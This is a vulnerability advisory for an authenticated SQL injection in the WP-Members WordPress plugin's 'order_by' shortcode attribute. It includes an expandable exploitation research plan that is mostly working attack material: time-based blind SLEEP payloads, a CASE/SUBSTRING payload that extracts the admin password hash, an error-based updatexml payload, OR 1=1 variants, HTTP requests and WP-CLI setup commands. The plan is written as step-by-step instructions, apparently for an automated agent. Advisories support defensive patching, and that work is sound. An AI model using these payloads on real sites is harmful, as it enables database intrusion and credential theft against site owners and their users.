WP-Members Membership Plugin <= 3.5.5.1 - Authenticated (Contributor+) SQL Injection via 'order_by' Shortcode Attribute
Description
The WP-Members Membership Plugin plugin for WordPress is vulnerable to SQL Injection via the 'order_by' attribute of the [wpmem_user_membership_posts] shortcode in all versions up to, and including, 3.5.5.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.5.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2363 (WP-Members SQL Injection) ## 1. Vulnerability Summary The **WP-Members Membership Plugin** (up to and including version 3.5.5.1) is vulnerable to an **authenticated SQL injection** via the `order_by` attribute of the `[wpmem_user_membership_posts]` short…
Show full research plan
Exploitation Research Plan: CVE-2026-2363 (WP-Members SQL Injection)
1. Vulnerability Summary
The WP-Members Membership Plugin (up to and including version 3.5.5.1) is vulnerable to an authenticated SQL injection via the order_by attribute of the [wpmem_user_membership_posts] shortcode. The plugin fails to properly sanitize or use parameterized queries ($wpdb->prepare) for this specific attribute. Since Contributors and above can create posts containing shortcodes, they can execute arbitrary SQL commands to extract sensitive data from the WordPress database.
2. Attack Vector Analysis
- Endpoint: Frontend post/page rendering where shortcodes are processed.
- Shortcode:
[wpmem_user_membership_posts] - Vulnerable Attribute:
order_by - Authentication: Required (Contributor-level or higher).
- Preconditions: The attacker must have the ability to create or edit a post/page (Contributor role is sufficient in default WordPress configurations).
3. Code Flow (Inferred)
- Entry Point: A user with Contributor privileges creates or previews a post containing:
[wpmem_user_membership_posts order_by="PAYLOAD"]. - Shortcode Processing: WordPress calls
do_shortcode(), which invokes the registered handler forwpmem_user_membership_posts(likely located inincludes/class-wp-members-shortcodes.phpor a similar file handling frontend display). - Attribute Parsing: The handler uses
shortcode_atts()to extract theorder_byvalue. - Query Construction: The plugin constructs a SQL query to list posts associated with the user's membership. The value of the
order_byattribute is concatenated directly into theORDER BYclause of a$wpdbquery. - SQL Injection Sink: The query is executed via
$wpdb->get_results()or$wpdb->get_col()without passing theorder_bycomponent through$wpdb->prepare()'s protection (sinceORDER BYclauses cannot be easily parameterized in MySQL).
4. Nonce Acquisition Strategy
This vulnerability does not require a nonce for exploitation.
- Shortcodes are processed during the standard rendering of a post's content.
- The authentication is provided by the user's session cookies (Contributor role).
- The payload is executed when the post is viewed or previewed.
5. Exploitation Strategy
Step 1: Authentication
Log in as a Contributor user to obtain valid session cookies.
Step 2: Payload Construction
We will use a time-based blind SQL injection payload to verify the vulnerability.
- Payload:
ID, (SELECT SLEEP(5)) - Shortcode:
[wpmem_user_membership_posts order_by="ID, (SELECT SLEEP(5))"]
Step 3: Injection via Post Creation
Create a new post containing the shortcode.
HTTP Request (Create Post):
POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [CONTRIBUTOR_COOKIES]
post_ID=[ID]&action=edit&post_content=[wpmem_user_membership_posts order_by="ID, (SELECT SLEEP(5))"]&post_title=SQLi_Test&_wpnonce=[POST_NONCE]
(Note: Generating a post via WP-CLI is more efficient for the setup phase).
Step 4: Triggering the Injection
Navigate to the URL of the created post or use the "Preview" feature.
HTTP Request (Trigger):
GET /?p=[POST_ID] HTTP/1.1
Host: localhost:8080
Cookie: [CONTRIBUTOR_COOKIES]
Step 5: Data Extraction (Verification)
To extract the admin password hash:
- Payload:
(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END) - Explanation: Checks if the first character of the admin hash is
$(ASCII 36). If false, it sleeps for 5 seconds.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Configuration: Ensure the plugin is active.
wp plugin activate wp-members - Content Creation: Create a post as the contributor.
wp post create --post_type=post --post_status=publish --post_title="SQLi Test" --post_content='[wpmem_user_membership_posts order_by="ID, (SELECT SLEEP(5))"]' --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- The HTTP request to the post URL should take at least 5 seconds longer than a standard request.
- The database engine executes:
SELECT ... FROM ... ORDER BY ID, (SELECT SLEEP(5)).
8. Verification Steps
- Time-based check: Use the
http_requesttool to time the response for a "True" condition vs a "False" condition.- True (Sleep):
order_by="ID, (SELECT SLEEP(5))" - False (No Sleep):
order_by="ID"
- True (Sleep):
- Database state: Check the
wp_poststable via WP-CLI to confirm the shortcode was saved correctly.wp post get [POST_ID] --field=post_content
9. Alternative Approaches
If ORDER BY concatenation is strictly filtered, attempt injection via other shortcode attributes that might be used in the WHERE clause:
[wpmem_user_membership_posts tag="') OR 1=1-- -"](Check iftagorcategoryattributes are also vulnerable).- Error-based SQLi: If
WP_DEBUGis on, useupdatexml()orextractvalue()to leak data directly in the response:order_by="(select updatexml(1,concat(0x7e,(user())),1))"
10. Potential Constraints
- Plugin Settings: The shortcode
[wpmem_user_membership_posts]may only return results if there is membership data or products configured. If the query returns 0 rows, theORDER BYclause might not be evaluated in some MySQL versions. - Setup requirement: It may be necessary to create at least one "Product" or "Membership" in the WP-Members settings to ensure the post-retrieval logic is triggered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.